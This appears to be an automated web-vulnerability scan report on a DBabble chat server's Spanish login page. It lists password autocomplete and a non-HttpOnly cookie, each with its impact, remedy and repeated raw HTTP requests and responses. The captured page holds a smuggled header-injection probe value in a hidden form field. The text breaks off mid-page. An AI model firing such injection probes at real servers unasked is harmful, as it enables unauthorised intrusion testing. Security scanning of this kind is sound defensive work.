<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Invitado".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Invitado" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble conexi�n</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Tra�do a usted por el software de NetWin Server - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Tra�do a usted por el software de NetWin Server - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Lengua:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=English&template=Standard"><font color="white">English</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>Espa�ol(Spanish)</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble para Windows</b></font>- Usted debe descargar e instalar el cliente de DBabble Windows 95/98/ME/2000/2003/NT/XP m�s bien que usar este Web page si es posible. Es mucho m�s r�pido y m�s f�cil utilizar. Usted puede descargarlo libremente de aqu�. <a href="/files/DBabble27y_Espa�ol(Spanish).exe" style="font-size:12pt;">Transferencia directa Versi�n 2.7y de DBabble</a>(1,947,161 bytes - debe tomar sobre 5 minutos sobre un m�dem 56K)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.<br>Su web browser no apoya Javascript o usted lo ha inhabilitado en sus preferencias.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Nombre Y Contrase�a Del Usuario De la Conexi�n</th><th colspan=2" align=left bgcolor=ivory width=100%>Opciones De la Conexi�n</th></tr><tr><td><table><tr><td nowrap> Nombre de usuario</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Contrase�a</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Iniciar sesi�n" alt="Iniciar sesi�n" name="Iniciar sesi�n"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Excepto Nombre</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Excepto nombre y contrase�a</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Ni unos ni otros</td></tr></table></td><td><table><tr><td>Para simplificar el interfaz usted puede ocultar opcionalmente algunas caracter�sticas</td></tr><tr><td>Caracter�sticas:<select name="show_features"><option value="0" selected>Demuestre Todas las Caracter�sticas</option><option value="1" >Mensajes Inmediatos Solamente</option><option value="2" >Grupos de discusi�n solamente</option><option value="3" >Salas de charla solamente</option><option value="4" >Cuartos y discusiones de la charla solamente</option><option value="5" >Cuartos de la charla y mensajes inmediatos solamente</option><option value="6" >Discusiones y mensajes inmediatos solamente</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="Espa�ol(Spanish)"><input type="hidden" name="change_template" value="http://example.com/?
ns: netsparker056650=vuln"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Conexi�n justa usando su nombre y contrase�a normales del usuario del email<br><table width=100%><tr><th align=left bgcolor=ivory>Conexi�n De la Hu�sped</th></tr><tr><td>Usted puede alternativomente conexi�n como hu�sped. Las caracter�sticas de alg�n DBabble no est�n disponibles como hu�sped.</td></tr><tr><td><a href="javascript:GuestLogin()">Conexi�n de la hu�sped</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Otras Conexiones</th></tr></table><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/contents.htm">Ayuda En l�nea de DBabble</a><br><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/password.htm">�Se olvid� de su contrase�a?</a><br><br>En este servidor tenemos 17 los usuarios registradosy los usuarios de 2 est�n actualmente en l�nea.Hay 1 sitio de la charlay hay 1 grupo de discusi�ncontener un total de art�culos de 306.<br><br>Usted puede utilizar DBabble con seguridad pero un directo m�s lento su web browser en <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux versi�n del servidor de 2.7z (Aug 25 2004)- Servidor disponible para 340 d�as desde Dom, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /dbabble

/dbabble CONFIRMED

http://smtp.netwin.co.nz:8132/dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=Standard

Identified Field Name

pass

Request

GET /dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=Standard HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 15306
Connection: close
Set-Cookie: TEMPLATE=Standard; path=/; expires=Sat, 21 Apr 2012 00:15:11 GMT,LANG=Espa�ol(Spanish); path=/; expires=Sat, 21 Apr 2012 00:15:11 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:11 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Invitado".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Invitado" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble conexi�n</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Tra�do a usted por el software de NetWin Server - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Tra�do a usted por el software de NetWin Server - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Lengua:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=English&template=Standard"><font color="white">English</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>Espa�ol(Spanish)</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble para Windows</b></font>- Usted debe descargar e instalar el cliente de DBabble Windows 95/98/ME/2000/2003/NT/XP m�s bien que usar este Web page si es posible. Es mucho m�s r�pido y m�s f�cil utilizar. Usted puede descargarlo libremente de aqu�. <a href="/files/DBabble27y_Espa�ol(Spanish).exe" style="font-size:12pt;">Transferencia directa Versi�n 2.7y de DBabble</a>(1,947,161 bytes - debe tomar sobre 5 minutos sobre un m�dem 56K)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.<br>Su web browser no apoya Javascript o usted lo ha inhabilitado en sus preferencias.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Nombre Y Contrase�a Del Usuario De la Conexi�n</th><th colspan=2" align=left bgcolor=ivory width=100%>Opciones De la Conexi�n</th></tr><tr><td><table><tr><td nowrap> Nombre de usuario</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Contrase�a</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Iniciar sesi�n" alt="Iniciar sesi�n" name="Iniciar sesi�n"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Excepto Nombre</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Excepto nombre y contrase�a</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Ni unos ni otros</td></tr></table></td><td><table><tr><td>Para simplificar el interfaz usted puede ocultar opcionalmente algunas caracter�sticas</td></tr><tr><td>Caracter�sticas:<select name="show_features"><option value="0" selected>Demuestre Todas las Caracter�sticas</option><option value="1" >Mensajes Inmediatos Solamente</option><option value="2" >Grupos de discusi�n solamente</option><option value="3" >Salas de charla solamente</option><option value="4" >Cuartos y discusiones de la charla solamente</option><option value="5" >Cuartos de la charla y mensajes inmediatos solamente</option><option value="6" >Discusiones y mensajes inmediatos solamente</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="Espa�ol(Spanish)"><input type="hidden" name="change_template" value="Standard"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Conexi�n justa usando su nombre y contrase�a normales del usuario del email<br><table width=100%><tr><th align=left bgcolor=ivory>Conexi�n De la Hu�sped</th></tr><tr><td>Usted puede alternativomente conexi�n como hu�sped. Las caracter�sticas de alg�n DBabble no est�n disponibles como hu�sped.</td></tr><tr><td><a href="javascript:GuestLogin()">Conexi�n de la hu�sped</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Otras Conexiones</th></tr></table><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/contents.htm">Ayuda En l�nea de DBabble</a><br><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/password.htm">�Se olvid� de su contrase�a?</a><br><br>En este servidor tenemos 17 los usuarios registradosy los usuarios de 2 est�n actualmente en l�nea.Hay 1 sitio de la charlay hay 1 grupo de discusi�ncontener un total de art�culos de 306.<br><br>Usted puede utilizar DBabble con seguridad pero un directo m�s lento su web browser en <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux versi�n del servidor de 2.7z (Aug 25 2004)- Servidor disponible para 340 d�as desde Dom, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /dbabble

/dbabble CONFIRMED

http://smtp.netwin.co.nz:8132/dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=Standard

Identified Cookie

TEMPLATE

Request

GET /dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=Standard HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 15306
Connection: close
Set-Cookie: TEMPLATE=Standard; path=/; expires=Sat, 21 Apr 2012 00:15:11 GMT,LANG=Espa�ol(Spanish); path=/; expires=Sat, 21 Apr 2012 00:15:11 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:11 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new 